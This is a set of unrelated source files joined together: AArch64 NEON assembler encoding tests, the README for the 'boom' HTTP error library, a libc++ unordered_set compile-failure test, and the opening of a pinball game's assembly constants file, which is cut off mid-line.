// encoding: [0x00,0x84,0x60,0x4d] ld3 { v0.b, v1.b, v2.b }[9], [x0] ld3 { v15.h, v16.h, v17.h }[7], [x15] ld3 { v31.s, v0.s, v1.s }[3], [sp] ld3 { v0.d, v1.d, v2.d }[1], [x0] // CHECK: ld3 { v0.b, v1.b, v2.b }[9], [x0] // encoding: [0x00,0x24,0x40,0x4d] // CHECK: ld3 { v15.h, v16.h, v17.h }[7], [x15] // encoding: [0xef,0x79,0x40,0x4d] // CHECK: ld3 { v31.s, v0.s, v1.s }[3], [sp] // encoding: [0xff,0xb3,0x40,0x4d] // CHECK: ld3 { v0.d, v1.d, v2.d }[1], [x0] // encoding: [0x00,0xa4,0x40,0x4d] ld4 { v0.b, v1.b, v2.b, v3.b }[9], [x0] ld4 { v15.h, v16.h, v17.h, v18.h }[7], [x15] ld4 { v31.s, v0.s, v1.s, v2.s }[3], [sp] ld4 { v0.d, v1.d, v2.d, v3.d }[1], [x0] // CHECK: ld4 { v0.b, v1.b, v2.b, v3.b }[9], [x0] // encoding: [0x00,0x24,0x60,0x4d] // CHECK: ld4 { v15.h, v16.h, v17.h, v18.h }[7], [x15] // encoding: [0xef,0x79,0x60,0x4d] // CHECK: ld4 { v31.s, v0.s, v1.s, v2.s }[3], [sp] // encoding: [0xff,0xb3,0x60,0x4d] // CHECK: ld4 { v0.d, v1.d, v2.d, v3.d }[1], [x0] // encoding: [0x00,0xa4,0x60,0x4d] //------------------------------------------------------------------------------ // Store single 1-element structure from one lane of 1 register. //------------------------------------------------------------------------------ st1 { v0.b }[9], [x0] st1 { v15.h }[7], [x15] st1 { v31.s }[3], [sp] st1 { v0.d }[1], [x0] // CHECK: st1 { v0.b }[9], [x0] // encoding: [0x00,0x04,0x00,0x4d] // CHECK: st1 { v15.h }[7], [x15] // encoding: [0xef,0x59,0x00,0x4d] // CHECK: st1 { v31.s }[3], [sp] // encoding: [0xff,0x93,0x00,0x4d] // CHECK: st1 { v0.d }[1], [x0] // encoding: [0x00,0x84,0x00,0x4d] //------------------------------------------------------------------------------ // Store single N-element structure from one lane of N consecutive registers // (N = 2,3,4) //------------------------------------------------------------------------------ st2 { v0.b, v1.b }[9], [x0] st2 { v15.h, v16.h }[7], [x15] st2 { v31.s, v0.s }[3], [sp] st2 { v0.d, v1.d }[1], [x0] // CHECK: st2 { v0.b, v1.b }[9], [x0] // encoding: [0x00,0x04,0x20,0x4d] // CHECK: st2 { v15.h, v16.h }[7], [x15] // encoding: [0xef,0x59,0x20,0x4d] // CHECK: st2 { v31.s, v0.s }[3], [sp] // encoding: [0xff,0x93,0x20,0x4d] // CHECK: st2 { v0.d, v1.d }[1], [x0] // encoding: [0x00,0x84,0x20,0x4d] st3 { v0.b, v1.b, v2.b }[9], [x0] st3 { v15.h, v16.h, v17.h }[7], [x15] st3 { v31.s, v0.s, v1.s }[3], [sp] st3 { v0.d, v1.d, v2.d }[1], [x0] // CHECK: st3 { v0.b, v1.b, v2.b }[9], [x0] // encoding: [0x00,0x24,0x00,0x4d] // CHECK: st3 { v15.h, v16.h, v17.h }[7], [x15] // encoding: [0xef,0x79,0x00,0x4d] // CHECK: st3 { v31.s, v0.s, v1.s }[3], [sp] // encoding: [0xff,0xb3,0x00,0x4d] // CHECK: st3 { v0.d, v1.d, v2.d }[1], [x0] // encoding: [0x00,0xa4,0x00,0x4d] st4 { v0.b, v1.b, v2.b, v3.b }[9], [x0] st4 { v15.h, v16.h, v17.h, v18.h }[7], [x15] st4 { v31.s, v0.s, v1.s, v2.s }[3], [sp] st4 { v0.d, v1.d, v2.d, v3.d }[1], [x0] // CHECK: st4 { v0.b, v1.b, v2.b, v3.b }[9], [x0] // encoding: [0x00,0x24,0x20,0x4d] // CHECK: st4 { v15.h, v16.h, v17.h, v18.h }[7], [x15] // encoding: [0xef,0x79,0x20,0x4d] // CHECK: st4 { v31.s, v0.s, v1.s, v2.s }[3], [sp] // encoding: [0xff,0xb3,0x20,0x4d] // CHECK: st4 { v0.d, v1.d, v2.d, v3.d }[1], [x0] // encoding: [0x00,0xa4,0x20,0x4d] //------------------------------------------------------------------------------ // Post-index oad single 1-element structure to all lanes of 1 register //------------------------------------------------------------------------------ ld1r { v0.16b }, [x0], #1 ld1r { v15.8h }, [x15], #2 ld1r { v31.4s }, [sp], #4 ld1r { v0.2d }, [x0], #8 ld1r { v0.8b }, [x0], x0 ld1r { v15.4h }, [x15], x1 ld1r { v31.2s }, [sp], x2 ld1r { v0.1d }, [x0], x3 // CHECK: ld1r { v0.16b }, [x0], #1 // encoding: [0x00,0xc0,0xdf,0x4d] // CHECK: ld1r { v15.8h }, [x15], #2 // encoding: [0xef,0xc5,0xdf,0x4d] // CHECK: ld1r { v31.4s }, [sp], #4 // encoding: [0xff,0xcb,0xdf,0x4d] // CHECK: ld1r { v0.2d }, [x0], #8 // encoding: [0x00,0xcc,0xdf,0x4d] // CHECK: ld1r { v0.8b }, [x0], x0 // encoding: [0x00,0xc0,0xc0,0x0d] // CHECK: ld1r { v15.4h }, [x15], x1 // encoding: [0xef,0xc5,0xc1,0x0d] // CHECK: ld1r { v31.2s }, [sp], x2 // encoding: [0xff,0xcb,0xc2,0x0d] // CHECK: ld1r { v0.1d }, [x0], x3 // encoding: [0x00,0xcc,0xc3,0x0d] //------------------------------------------------------------------------------ // Post-index load single N-element structure to all lanes of N consecutive // registers (N = 2,3,4) //------------------------------------------------------------------------------ ld2r { v0.16b, v1.16b }, [x0], #2 ld2r { v15.8h, v16.8h }, [x15], #4 ld2r { v31.4s, v0.4s }, [sp], #8 ld2r { v0.2d, v1.2d }, [x0], #16 ld2r { v0.8b, v1.8b }, [x0], x6 ld2r { v15.4h, v16.4h }, [x15], x7 ld2r { v31.2s, v0.2s }, [sp], x9 ld2r { v31.1d, v0.1d }, [x0], x5 // CHECK: ld2r { v0.16b, v1.16b }, [x0], #2 // encoding: [0x00,0xc0,0xff,0x4d] // CHECK: ld2r { v15.8h, v16.8h }, [x15], #4 // encoding: [0xef,0xc5,0xff,0x4d] // CHECK: ld2r { v31.4s, v0.4s }, [sp], #8 // encoding: [0xff,0xcb,0xff,0x4d] // CHECK: ld2r { v0.2d, v1.2d }, [x0], #16 // encoding: [0x00,0xcc,0xff,0x4d] // CHECK: ld2r { v0.8b, v1.8b }, [x0], x6 // encoding: [0x00,0xc0,0xe6,0x0d] // CHECK: ld2r { v15.4h, v16.4h }, [x15], x7 // encoding: [0xef,0xc5,0xe7,0x0d] // CHECK: ld2r { v31.2s, v0.2s }, [sp], x9 // encoding: [0xff,0xcb,0xe9,0x0d] // CHECK: ld2r { v31.1d, v0.1d }, [x0], x5 // encoding: [0x1f,0xcc,0xe5,0x0d] ld3r { v0.16b, v1.16b, v2.16b }, [x0], x9 ld3r { v15.8h, v16.8h, v17.8h }, [x15], x6 ld3r { v31.4s, v0.4s, v1.4s }, [sp], x7 ld3r { v0.2d, v1.2d, v2.2d }, [x0], x5 ld3r { v0.8b, v1.8b, v2.8b }, [x0], #3 ld3r { v15.4h, v16.4h, v17.4h }, [x15], #6 ld3r { v31.2s, v0.2s, v1.2s }, [sp], #12 ld3r { v31.1d, v0.1d, v1.1d }, [sp], #24 // CHECK: ld3r { v0.16b, v1.16b, v2.16b }, [x0], x9 // encoding: [0x00,0xe0,0xc9,0x4d] // CHECK: ld3r { v15.8h, v16.8h, v17.8h }, [x15], x6 // encoding: [0xef,0xe5,0xc6,0x4d] // CHECK: ld3r { v31.4s, v0.4s, v1.4s }, [sp], x7 // encoding: [0xff,0xeb,0xc7,0x4d] // CHECK: ld3r { v0.2d, v1.2d, v2.2d }, [x0], x5 // encoding: [0x00,0xec,0xc5,0x4d] // CHECK: ld3r { v0.8b, v1.8b, v2.8b }, [x0], #3 // encoding: [0x00,0xe0,0xdf,0x0d] // CHECK: ld3r { v15.4h, v16.4h, v17.4h }, [x15], #6 // encoding: [0xef,0xe5,0xdf,0x0d] // CHECK: ld3r { v31.2s, v0.2s, v1.2s }, [sp], #12 // encoding: [0xff,0xeb,0xdf,0x0d] // CHECK: ld3r { v31.1d, v0.1d, v1.1d }, [sp], #24 // encoding: [0xff,0xef,0xdf,0x0d] ld4r { v0.16b, v1.16b, v2.16b, v3.16b }, [x0], #4 ld4r { v15.8h, v16.8h, v17.8h, v18.8h }, [x15], #8 ld4r { v31.4s, v0.4s, v1.4s, v2.4s }, [sp], #16 ld4r { v0.2d, v1.2d, v2.2d, v3.2d }, [x0], #32 ld4r { v0.8b, v1.8b, v2.8b, v3.8b }, [x0], x5 ld4r { v15.4h, v16.4h, v17.4h, v18.4h }, [x15], x9 ld4r { v31.2s, v0.2s, v1.2s, v2.2s }, [sp], x30 ld4r { v31.1d, v0.1d, v1.1d, v2.1d }, [sp], x7 // CHECK: ld4r { v0.16b, v1.16b, v2.16b, v3.16b }, [x0], #4 // encoding: [0x00,0xe0,0xff,0x4d] // CHECK: ld4r { v15.8h, v16.8h, v17.8h, v18.8h }, [x15], #8 // encoding: [0xef,0xe5,0xff,0x4d] // CHECK: ld4r { v31.4s, v0.4s, v1.4s, v2.4s }, [sp], #16 // encoding: [0xff,0xeb,0xff,0x4d] // CHECK: ld4r { v0.2d, v1.2d, v2.2d, v3.2d }, [x0], #32 // encoding: [0x00,0xec,0xff,0x4d] // CHECK: ld4r { v0.8b, v1.8b, v2.8b, v3.8b }, [x0], x5 // encoding: [0x00,0xe0,0xe5,0x0d] // CHECK: ld4r { v15.4h, v16.4h, v17.4h, v18.4h }, [x15], x9 // encoding: [0xef,0xe5,0xe9,0x0d] // CHECK: ld4r { v31.2s, v0.2s, v1.2s, v2.2s }, [sp], x30 // encoding: [0xff,0xeb,0xfe,0x0d] // CHECK: ld4r { v31.1d, v0.1d, v1.1d, v2.1d }, [sp], x7 // encoding: [0xff,0xef,0xe7,0x0d] //------------------------------------------------------------------------------ // Post-index load single 1-element structure to one lane of 1 register. //------------------------------------------------------------------------------ ld1 { v0.b }[9], [x0], #1 ld1 { v15.h }[7], [x15], x9 ld1 { v31.s }[3], [sp], x6 ld1 { v0.d }[1], [x0], #8 // CHECK: ld1 { v0.b }[9], [x0], #1 // encoding: [0x00,0x04,0xdf,0x4d] // CHECK: ld1 { v15.h }[7], [x15], x9 // encoding: [0xef,0x59,0xc9,0x4d] // CHECK: ld1 { v31.s }[3], [sp], x6 // encoding: [0xff,0x93,0xc6,0x4d] // CHECK: ld1 { v0.d }[1], [x0], #8 // encoding: [0x00,0x84,0xdf,0x4d] //------------------------------------------------------------------------------ // Post-index load single N-element structure to one lane of N consecutive // registers (N = 2,3,4) //------------------------------------------------------------------------------ ld2 { v0.b, v1.b }[9], [x0], x3 ld2 { v15.h, v16.h }[7], [x15], #4 ld2 { v31.s, v0.s }[3], [sp], #8 ld2 { v0.d, v1.d }[1], [x0], x0 // CHECK: ld2 { v0.b, v1.b }[9], [x0], x3 // encoding: [0x00,0x04,0xe3,0x4d] // CHECK: ld2 { v15.h, v16.h }[7], [x15], #4 // encoding: [0xef,0x59,0xff,0x4d] // CHECK: ld2 { v31.s, v0.s }[3], [sp], #8 // encoding: [0xff,0x93,0xff,0x4d] // CHECK: ld2 { v0.d, v1.d }[1], [x0], x0 // encoding: [0x00,0x84,0xe0,0x4d] ld3 { v0.b, v1.b, v2.b }[9], [x0], #3 ld3 { v15.h, v16.h, v17.h }[7], [x15], #6 ld3 { v31.s, v0.s, v1.s }[3], [sp], x3 ld3 { v0.d, v1.d, v2.d }[1], [x0], x6 // CHECK: ld3 { v0.b, v1.b, v2.b }[9], [x0], #3 // encoding: [0x00,0x24,0xdf,0x4d] // CHECK: ld3 { v15.h, v16.h, v17.h }[7], [x15], #6 // encoding: [0xef,0x79,0xdf,0x4d] // CHECK: ld3 { v31.s, v0.s, v1.s }[3], [sp], x3 // encoding: [0xff,0xb3,0xc3,0x4d] // CHECK: ld3 { v0.d, v1.d, v2.d }[1], [x0], x6 // encoding: [0x00,0xa4,0xc6,0x4d] ld4 { v0.b, v1.b, v2.b, v3.b }[9], [x0], x5 ld4 { v15.h, v16.h, v17.h, v18.h }[7], [x15], x7 ld4 { v31.s, v0.s, v1.s, v2.s }[3], [sp], #16 ld4 { v0.d, v1.d, v2.d, v3.d }[1], [x0], #32 // CHECK: ld4 { v0.b, v1.b, v2.b, v3.b }[9], [x0], x5 // encoding: [0x00,0x24,0xe5,0x4d] // CHECK: ld4 { v15.h, v16.h, v17.h, v18.h }[7], [x15], x7 // encoding: [0xef,0x79,0xe7,0x4d] // CHECK: ld4 { v31.s, v0.s, v1.s, v2.s }[3], [sp], #16 // encoding: [0xff,0xb3,0xff,0x4d] // CHECK: ld4 { v0.d, v1.d, v2.d, v3.d }[1], [x0], #32 // encoding: [0x00,0xa4,0xff,0x4d] //------------------------------------------------------------------------------ // Post-index store single 1-element structure from one lane of 1 register. //------------------------------------------------------------------------------ st1 { v0.b }[9], [x0], #1 st1 { v15.h }[7], [x15], x9 st1 { v31.s }[3], [sp], x6 st1 { v0.d }[1], [x0], #8 // CHECK: st1 { v0.b }[9], [x0], #1 // encoding: [0x00,0x04,0x9f,0x4d] // CHECK: st1 { v15.h }[7], [x15], x9 // encoding: [0xef,0x59,0x89,0x4d] // CHECK: st1 { v31.s }[3], [sp], x6 // encoding: [0xff,0x93,0x86,0x4d] // CHECK: st1 { v0.d }[1], [x0], #8 // encoding: [0x00,0x84,0x9f,0x4d] //------------------------------------------------------------------------------ // Post-index store single N-element structure from one lane of N consecutive // registers (N = 2,3,4) //------------------------------------------------------------------------------ st2 { v0.b, v1.b }[9], [x0], x3 st2 { v15.h, v16.h }[7], [x15], #4 st2 { v31.s, v0.s }[3], [sp], #8 st2 { v0.d, v1.d }[1], [x0], x0 // CHECK: st2 { v0.b, v1.b }[9], [x0], x3 // encoding: [0x00,0x04,0xa3,0x4d] // CHECK: st2 { v15.h, v16.h }[7], [x15], #4 // encoding: [0xef,0x59,0xbf,0x4d] // CHECK: st2 { v31.s, v0.s }[3], [sp], #8 // encoding: [0xff,0x93,0xbf,0x4d] // CHECK: st2 { v0.d, v1.d }[1], [x0], x0 // encoding: [0x00,0x84,0xa0,0x4d] st3 { v0.b, v1.b, v2.b }[9], [x0], #3 st3 { v15.h, v16.h, v17.h }[7], [x15], #6 st3 { v31.s, v0.s, v1.s }[3], [sp], x3 st3 { v0.d, v1.d, v2.d }[1], [x0], x6 // CHECK: st3 { v0.b, v1.b, v2.b }[9], [x0], #3 // encoding: [0x00,0x24,0x9f,0x4d] // CHECK: st3 { v15.h, v16.h, v17.h }[7], [x15], #6 // encoding: [0xef,0x79,0x9f,0x4d] // CHECK: st3 { v31.s, v0.s, v1.s }[3], [sp], x3 // encoding: [0xff,0xb3,0x83,0x4d] // CHECK: st3 { v0.d, v1.d, v2.d }[1], [x0], x6 // encoding: [0x00,0xa4,0x86,0x4d] st4 { v0.b, v1.b, v2.b, v3.b }[9], [x0], x5 st4 { v15.h, v16.h, v17.h, v18.h }[7], [x15], x7 st4 { v31.s, v0.s, v1.s, v2.s }[3], [sp], #16 st4 { v0.d, v1.d, v2.d, v3.d }[1], [x0], #32 // CHECK: st4 { v0.b, v1.b, v2.b, v3.b }[9], [x0], x5 // encoding: [0x00,0x24,0xa5,0x4d] // CHECK: st4 { v15.h, v16.h, v17.h, v18.h }[7], [x15], x7 // encoding: [0xef,0x79,0xa7,0x4d] // CHECK: st4 { v31.s, v0.s, v1.s, v2.s }[3], [sp], #16 // encoding: [0xff,0xb3,0xbf,0x4d] // CHECK: st4 { v0.d, v1.d, v2.d, v3.d }[1], [x0], #32 // encoding: [0x00,0xa4,0xbf,0x4d]
{ "pile_set_name": "Github" }
![boom Logo](https://raw.github.com/hapijs/boom/master/images/boom.png) HTTP-friendly error objects [![Build Status](https://secure.travis-ci.org/hapijs/boom.png)](http://travis-ci.org/hapijs/boom) [![Current Version](https://img.shields.io/npm/v/boom.svg)](https://www.npmjs.com/package/boom) Lead Maintainer: [Adam Bretz](https://github.com/arb) **boom** provides a set of utilities for returning HTTP errors. Each utility returns a `Boom` error response object (instance of `Error`) which includes the following properties: - `isBoom` - if `true`, indicates this is a `Boom` object instance. - `isServer` - convenience bool indicating status code >= 500. - `message` - the error message. - `output` - the formatted response. Can be directly manipulated after object construction to return a custom error response. Allowed root keys: - `statusCode` - the HTTP status code (typically 4xx or 5xx). - `headers` - an object containing any HTTP headers where each key is a header name and value is the header content. - `payload` - the formatted object used as the response payload (stringified). Can be directly manipulated but any changes will be lost if `reformat()` is called. Any content allowed and by default includes the following content: - `statusCode` - the HTTP status code, derived from `error.output.statusCode`. - `error` - the HTTP status message (e.g. 'Bad Request', 'Internal Server Error') derived from `statusCode`. - `message` - the error message derived from `error.message`. - inherited `Error` properties. The `Boom` object also supports the following method: - `reformat()` - rebuilds `error.output` using the other object properties. ## Overview - Helper methods - [`wrap(error, [statusCode], [message])`](#wraperror-statuscode-message) - [`create(statusCode, [message], [data])`](#createstatuscode-message-data) - HTTP 4xx Errors - 400: [`Boom.badRequest([message], [data])`](#boombadrequestmessage-data) - 401: [`Boom.unauthorized([message], [scheme], [attributes])`](#boomunauthorizedmessage-scheme-attributes) - 403: [`Boom.forbidden([message], [data])`](#boomforbiddenmessage-data) - 404: [`Boom.notFound([message], [data])`](#boomnotfoundmessage-data) - 405: [`Boom.methodNotAllowed([message], [data])`](#boommethodnotallowedmessage-data) - 406: [`Boom.notAcceptable([message], [data])`](#boomnotacceptablemessage-data) - 407: [`Boom.proxyAuthRequired([message], [data])`](#boomproxyauthrequiredmessage-data) - 408: [`Boom.clientTimeout([message], [data])`](#boomclienttimeoutmessage-data) - 409: [`Boom.conflict([message], [data])`](#boomconflictmessage-data) - 410: [`Boom.resourceGone([message], [data])`](#boomresourcegonemessage-data) - 411: [`Boom.lengthRequired([message], [data])`](#boomlengthrequiredmessage-data) - 412: [`Boom.preconditionFailed([message], [data])`](#boompreconditionfailedmessage-data) - 413: [`Boom.entityTooLarge([message], [data])`](#boomentitytoolargemessage-data) - 414: [`Boom.uriTooLong([message], [data])`](#boomuritoolongmessage-data) - 415: [`Boom.unsupportedMediaType([message], [data])`](#boomunsupportedmediatypemessage-data) - 416: [`Boom.rangeNotSatisfiable([message], [data])`](#boomrangenotsatisfiablemessage-data) - 417: [`Boom.expectationFailed([message], [data])`](#boomexpectationfailedmessage-data) - 422: [`Boom.badData([message], [data])`](#boombaddatamessage-data) - 428: [`Boom.preconditionRequired([message], [data])`](#boompreconditionrequiredmessage-data) - 429: [`Boom.tooManyRequests([message], [data])`](#boomtoomanyrequestsmessage-data) - HTTP 5xx Errors - 500: [`Boom.badImplementation([message], [data])`](#boombadimplementationmessage-data) - 501: [`Boom.notImplemented([message], [data])`](#boomnotimplementedmessage-data) - 502: [`Boom.badGateway([message], [data])`](#boombadgatewaymessage-data) - 503: [`Boom.serverTimeout([message], [data])`](#boomservertimeoutmessage-data) - 504: [`Boom.gatewayTimeout([message], [data])`](#boomgatewaytimeoutmessage-data) - [FAQ](#faq) ## Helper Methods ### `wrap(error, [statusCode], [message])` Decorates an error with the **boom** properties where: - `error` - the error object to wrap. If `error` is already a **boom** object, returns back the same object. - `statusCode` - optional HTTP status code. Defaults to `500`. - `message` - optional message string. If the error already has a message, it adds the message as a prefix. Defaults to no message. ```js var error = new Error('Unexpected input'); Boom.wrap(error, 400); ``` ### `create(statusCode, [message], [data])` Generates an `Error` object with the **boom** decorations where: - `statusCode` - an HTTP error code number. Must be greater or equal 400. - `message` - optional message string. - `data` - additional error data set to `error.data` property. ```js var error = Boom.create(400, 'Bad request', { timestamp: Date.now() }); ``` ## HTTP 4xx Errors ### `Boom.badRequest([message], [data])` Returns a 400 Bad Request error where: - `message` - optional message. - `data` - optional additional error data. ```js Boom.badRequest('invalid query'); ``` Generates the following response payload: ```json { "statusCode": 400, "error": "Bad Request", "message": "invalid query" } ``` ### `Boom.unauthorized([message], [scheme], [attributes])` Returns a 401 Unauthorized error where: - `message` - optional message. - `scheme` can be one of the following: - an authentication scheme name - an array of string values. These values will be separated by ', ' and set to the 'WWW-Authenticate' header. - `attributes` - an object of values to use while setting the 'WWW-Authenticate' header. This value is only used when `schema` is a string, otherwise it is ignored. Every key/value pair will be included in the 'WWW-Authenticate' in the format of 'key="value"' as well as in the response payload under the `attributes` key. `null` and `undefined` will be replaced with an empty string. If `attributes` is set, `message` will be used as the 'error' segment of the 'WWW-Authenticate' header. If `message` is unset, the 'error' segment of the header will not be present and `isMissing` will be true on the error object. If either `scheme` or `attributes` are set, the resultant `Boom` object will have the 'WWW-Authenticate' header set for the response. ```js Boom.unauthorized('invalid password'); ``` Generates the following response: ```json "payload": { "statusCode": 401, "error": "Unauthorized", "message": "invalid password" }, "headers" {} ``` ```js Boom.unauthorized('invalid password', 'sample'); ``` Generates the following response: ```json "payload": { "statusCode": 401, "error": "Unauthorized", "message": "invalid password", "attributes": { "error": "invalid password" } }, "headers" { "WWW-Authenticate": "sample error=\"invalid password\"" } ``` ```js Boom.unauthorized('invalid password', 'sample', { ttl: 0, cache: null, foo: 'bar' }); ``` Generates the following response: ```json "payload": { "statusCode": 401, "error": "Unauthorized", "message": "invalid password", "attributes": { "error": "invalid password", "ttl": 0, "cache": "", "foo": "bar" } }, "headers" { "WWW-Authenticate": "sample ttl=\"0\", cache=\"\", foo=\"bar\", error=\"invalid password\"" } ``` ### `Boom.forbidden([message], [data])` Returns a 403 Forbidden error where: - `message` - optional message. - `data` - optional additional error data. ```js Boom.forbidden('try again some time'); ``` Generates the following response payload: ```json { "statusCode": 403, "error": "Forbidden", "message": "try again some time" } ``` ### `Boom.notFound([message], [data])` Returns a 404 Not Found error where: - `message` - optional message. - `data` - optional additional error data. ```js Boom.notFound('missing'); ``` Generates the following response payload: ```json { "statusCode": 404, "error": "Not Found", "message": "missing" } ``` ### `Boom.methodNotAllowed([message], [data])` Returns a 405 Method Not Allowed error where: - `message` - optional message. - `data` - optional additional error data. ```js Boom.methodNotAllowed('that method is not allowed'); ``` Generates the following response payload: ```json { "statusCode": 405, "error": "Method Not Allowed", "message": "that method is not allowed" } ``` ### `Boom.notAcceptable([message], [data])` Returns a 406 Not Acceptable error where: - `message` - optional message. - `data` - optional additional error data. ```js Boom.notAcceptable('unacceptable'); ``` Generates the following response payload: ```json { "statusCode": 406, "error": "Not Acceptable", "message": "unacceptable" } ``` ### `Boom.proxyAuthRequired([message], [data])` Returns a 407 Proxy Authentication Required error where: - `message` - optional message. - `data` - optional additional error data. ```js Boom.proxyAuthRequired('auth missing'); ``` Generates the following response payload: ```json { "statusCode": 407, "error": "Proxy Authentication Required", "message": "auth missing" } ``` ### `Boom.clientTimeout([message], [data])` Returns a 408 Request Time-out error where: - `message` - optional message. - `data` - optional additional error data. ```js Boom.clientTimeout('timed out'); ``` Generates the following response payload: ```json { "statusCode": 408, "error": "Request Time-out", "message": "timed out" } ``` ### `Boom.conflict([message], [data])` Returns a 409 Conflict error where: - `message` - optional message. - `data` - optional additional error data. ```js Boom.conflict('there was a conflict'); ``` Generates the following response payload: ```json { "statusCode": 409, "error": "Conflict", "message": "there was a conflict" } ``` ### `Boom.resourceGone([message], [data])` Returns a 410 Gone error where: - `message` - optional message. - `data` - optional additional error data. ```js Boom.resourceGone('it is gone'); ``` Generates the following response payload: ```json { "statusCode": 410, "error": "Gone", "message": "it is gone" } ``` ### `Boom.lengthRequired([message], [data])` Returns a 411 Length Required error where: - `message` - optional message. - `data` - optional additional error data. ```js Boom.lengthRequired('length needed'); ``` Generates the following response payload: ```json { "statusCode": 411, "error": "Length Required", "message": "length needed" } ``` ### `Boom.preconditionFailed([message], [data])` Returns a 412 Precondition Failed error where: - `message` - optional message. - `data` - optional additional error data. ```js Boom.preconditionFailed(); ``` Generates the following response payload: ```json { "statusCode": 412, "error": "Precondition Failed" } ``` ### `Boom.entityTooLarge([message], [data])` Returns a 413 Request Entity Too Large error where: - `message` - optional message. - `data` - optional additional error data. ```js Boom.entityTooLarge('too big'); ``` Generates the following response payload: ```json { "statusCode": 413, "error": "Request Entity Too Large", "message": "too big" } ``` ### `Boom.uriTooLong([message], [data])` Returns a 414 Request-URI Too Large error where: - `message` - optional message. - `data` - optional additional error data. ```js Boom.uriTooLong('uri is too long'); ``` Generates the following response payload: ```json { "statusCode": 414, "error": "Request-URI Too Large", "message": "uri is too long" } ``` ### `Boom.unsupportedMediaType([message], [data])` Returns a 415 Unsupported Media Type error where: - `message` - optional message. - `data` - optional additional error data. ```js Boom.unsupportedMediaType('that media is not supported'); ``` Generates the following response payload: ```json { "statusCode": 415, "error": "Unsupported Media Type", "message": "that media is not supported" } ``` ### `Boom.rangeNotSatisfiable([message], [data])` Returns a 416 Requested Range Not Satisfiable error where: - `message` - optional message. - `data` - optional additional error data. ```js Boom.rangeNotSatisfiable(); ``` Generates the following response payload: ```json { "statusCode": 416, "error": "Requested Range Not Satisfiable" } ``` ### `Boom.expectationFailed([message], [data])` Returns a 417 Expectation Failed error where: - `message` - optional message. - `data` - optional additional error data. ```js Boom.expectationFailed('expected this to work'); ``` Generates the following response payload: ```json { "statusCode": 417, "error": "Expectation Failed", "message": "expected this to work" } ``` ### `Boom.badData([message], [data])` Returns a 422 Unprocessable Entity error where: - `message` - optional message. - `data` - optional additional error data. ```js Boom.badData('your data is bad and you should feel bad'); ``` Generates the following response payload: ```json { "statusCode": 422, "error": "Unprocessable Entity", "message": "your data is bad and you should feel bad" } ``` ### `Boom.preconditionRequired([message], [data])` Returns a 428 Precondition Required error where: - `message` - optional message. - `data` - optional additional error data. ```js Boom.preconditionRequired('you must supply an If-Match header'); ``` Generates the following response payload: ```json { "statusCode": 428, "error": "Precondition Required", "message": "you must supply an If-Match header" } ``` ### `Boom.tooManyRequests([message], [data])` Returns a 429 Too Many Requests error where: - `message` - optional message. - `data` - optional additional error data. ```js Boom.tooManyRequests('you have exceeded your request limit'); ``` Generates the following response payload: ```json { "statusCode": 429, "error": "Too Many Requests", "message": "you have exceeded your request limit" } ``` ## HTTP 5xx Errors All 500 errors hide your message from the end user. Your message is recorded in the server log. ### `Boom.badImplementation([message], [data])` Returns a 500 Internal Server Error error where: - `message` - optional message. - `data` - optional additional error data. ```js Boom.badImplementation('terrible implementation'); ``` Generates the following response payload: ```json { "statusCode": 500, "error": "Internal Server Error", "message": "An internal server error occurred" } ``` ### `Boom.notImplemented([message], [data])` Returns a 501 Not Implemented error where: - `message` - optional message. - `data` - optional additional error data. ```js Boom.notImplemented('method not implemented'); ``` Generates the following response payload: ```json { "statusCode": 501, "error": "Not Implemented", "message": "method not implemented" } ``` ### `Boom.badGateway([message], [data])` Returns a 502 Bad Gateway error where: - `message` - optional message. - `data` - optional additional error data. ```js Boom.badGateway('that is a bad gateway'); ``` Generates the following response payload: ```json { "statusCode": 502, "error": "Bad Gateway", "message": "that is a bad gateway" } ``` ### `Boom.serverTimeout([message], [data])` Returns a 503 Service Unavailable error where: - `message` - optional message. - `data` - optional additional error data. ```js Boom.serverTimeout('unavailable'); ``` Generates the following response payload: ```json { "statusCode": 503, "error": "Service Unavailable", "message": "unavailable" } ``` ### `Boom.gatewayTimeout([message], [data])` Returns a 504 Gateway Time-out error where: - `message` - optional message. - `data` - optional additional error data. ```js Boom.gatewayTimeout(); ``` Generates the following response payload: ```json { "statusCode": 504, "error": "Gateway Time-out" } ``` ## F.A.Q. ###### How do I include extra information in my responses? `output.payload` is missing `data`, what gives? There is a reason the values passed back in the response payloads are pretty locked down. It's mostly for security and to not leak any important information back to the client. This means you will need to put in a little more effort to include extra information about your custom error. Check out the ["Error transformation"](https://github.com/hapijs/hapi/blob/master/API.md#error-transformation) section in the hapi documentation.
{ "pile_set_name": "Github" }
//===----------------------------------------------------------------------===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===----------------------------------------------------------------------===// // <unordered_set> // The container's value type must be the same as the allocator's value type #include <unordered_set> int main(int, char**) { std::unordered_set<int, std::hash<int>, std::less<int>, std::allocator<long> > v; return 0; }
{ "pile_set_name": "Github" }
; *************************************************************************** ; *************************************************************************** ; *************************************************************************** ; ** ** ; ** PIN.EQU ** ; ** ** ; ** Created : 20000302 by David Ashley ** ; ** ** ; *************************************************************************** ; *************************************************************************** ; *************************************************************************** PRINTER EQU 1 CUTOFFY EQU 335<<5 CUTOFFY2 EQU 144<<5 HOLDTIME EQU 100 ;When ball is trapped, how long to hold SHRINKTIME EQU 3 BACKCLOSETIME EQU 16 SPINNERBONUS EQU 50 ;# of spinner turns on easy to increment bonusX MINFLIPPER EQU 0 MAXFLIPPER EQU 8 GROUP_BALL EQU 0 GROUP_FLIPPERS EQU 1 GROUP_PEARL EQU 7 GRAVITY EQU 4 GRAVITYDIV EQU 32 SPINDIV EQU 4 AUTOFIRERATE EQU $00b8 PUSHVAL EQU 12 ;this effects strength of pushing table EJECTSPEED EQU 11 ;ejected from traps at this speed BUMPERACTIVATE EQU 150 LFLIPPERX EQU $46<<5 RFLIPPERX EQU $77<<5 CFLIPPERX12 EQU (LFLIPPERX+RFLIPPERX)/2 FLIPPERY EQU 301<<5 FLIPPERWIDTH EQU 10<<5 FLIPPERX3 EQU $16<<5 FLIPPERY3 EQU 153<<5 FLIPPERX4 EQU $7<<5 FLIPPERY4 EQU 230<<5 CFLIPPERY14 EQU (FLIPPERY+FLIPPERY4)/2 CFLIPPERY34 EQU (FLIPPERY3+FLIPPERY4)/2 FLIPPERYB2 EQU 603<<4 FLIPPERX1B2 EQU 114<<4 FLIPPERX2B2 EQU 209<<4 FLIPPERCX12B2 EQU (FLIPPERX1B2+FLIPPERX2B2)/2 FLIPPERX3B2 EQU 